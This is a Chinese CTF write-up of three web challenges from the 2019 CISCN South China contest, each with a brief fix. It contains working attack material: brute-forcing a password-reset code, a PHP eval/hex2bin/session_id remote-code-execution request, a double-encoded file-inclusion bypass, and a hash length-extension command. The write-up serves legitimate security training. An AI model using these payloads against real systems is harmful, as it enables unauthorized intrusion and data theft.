2019年CISCN(全国大学生信息安全竞赛)华南赛区wp
- 题目是在Fix It环境拷下来的,写
writeup
时的环境是自己搭的- 有些题目忘记拷贝数据库,各位大佬凑活看吧
- 题目的GitHub仓库:https://github.com/NS-Sp4ce/2019-Ciscn-Southern-China-Web
Web1
Break It
打开页面如下
按照惯例Ctrl+U
看源代码,发现被注释的<!-- <p class="forgot"><a id="iforget" href="forgetpassword.php">Forgot your password?</a></p>-->
字面意思是重置密码的页面,访问试试
由于不知道用户名,抓包随便输入个用户名看看返回的信息
OK,找个用户名字典爆破下
设置下
爆破出admin123
这个用户存在
输入后,跳转到下一个页面
4位验证码爆破走起
扔Burpsuite
里
设置
走起,然后踩了第一个坑
验证码全部错误,Ctrl+U
看了下源代码
哦豁,设置base64
编码
继续爆破,时间不长出现重置密码的信息
用户名admin123
,密码f4h1l0t0j2g5b1m0a0m0a3d2d0
,登上去看看
提示phpmyadmin,进去看看
打开后发现
这时候比赛方放出hint,备份文件,然后,一顿扫
扫出备份文件
提示
Why not try code breaking? |
|
接下来的步骤在赛后参考了2018RCTF
的原题r-cursive
(https://delcoding.github.io/2018/05/rctf-web-writeup1/#r-cursive)
根据正则匹配条件和本地搭环境调试可以知道只能执行不带参数、函数名不含包括_在内的特殊符号,所以只能是
x(y(z()))
此类的调用形式。所以从code
参数里进行函数执行是不太可能的了,比赛时也没有想到突破方法,后来才得知可以运行http header
头来进行处理。PHP中可以使用
get_headers
,getallheaders
获得HTTP请求头的信息,并返回键值数组,所以我们就只能用getallheaders()
来获取。又因为返回的是数组,我们可以使用implode()
来将数组转换成字符串。所以我们初步构造:implode(getallheaders())
。但如果仅是这样还不能运行我们的代码,因为implode()
返回的已经是字符串了,"implode()"
(注意"
),有相当于多嵌套了一层字符,所以我们应该使用eval(implode(getallheaders()));
来进行执行。
然后又发现cookie
中的PHPSESSID
可控,PHP
中session_id()
函数可以获取 PHPSESSID
,如果没有开启 session
可以使用 session_start()
函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin()
函数转换,尝试构造请求包如下
GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=6563686f2754455354273b
Host: 192.168.2.227:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
这样就可以构造RCE了
Payload:
GET /mDjNaF.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 |
6563686f2066696c655f6765745f636f6e74656e747328222f666c616722293b
Hex解码后为echo file_get_contents("/flag");
Fix it
修改mDjNaF.php
文件,注释掉eval
函数。
web7
Break it
打开题目
查看下源代码
注释掉了一个名为source
的php
文件,访问下
|
源代码显示是文件包含类型的,想要利用需要满足3个条件
file
参数不为空file
参数是字符串- 通过
kind
类中的checkFile
方法
所以用%253f(二次URL解码后是?
)就可以绕过了,PAYLOAD:file=source.php%253f/../flag.php
查看源代码是
|
如果post
的pwd
等于当前的时间的时间戳,就返回flag
,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID
是我们可控的,pwd
也是我们可控的,唯一就是session
我们无法控制是多少,但是可以置为空,所以直接post
空的pwd
过去就可以了(这是fix
后的)
Fix it
- 可参考phpmyadmin官方的修复方式
die('Flag:'.$flag);
->die('Flag:NOPE');
web10
Break it
打开是个卫星控制系统,要日卫星?
查看下robots.txt
访问看看
登录时抓包,发现有段hash_key
猜测是md5
后的值,探测下目录
发现了License.txt
访问后发现了部分源代码
|
其中hash_key
算法为$bisskey(长度10的字符串)
与url解码后的admin123admin123
相连接后进行md5
加密,爆破是不可能爆破了,查阅资料后发现可以用哈希扩展攻击,构造payload:
root@kali:~/hash_extender# ./hash_extender --data admin123admin123 --secret 10 --append ciscn --signature e7187cb49ce6d5958d279284af968254 --format md5 |
替换MyIdentify
和password
后即可获得flag
Fix it
改掉bisskey
的值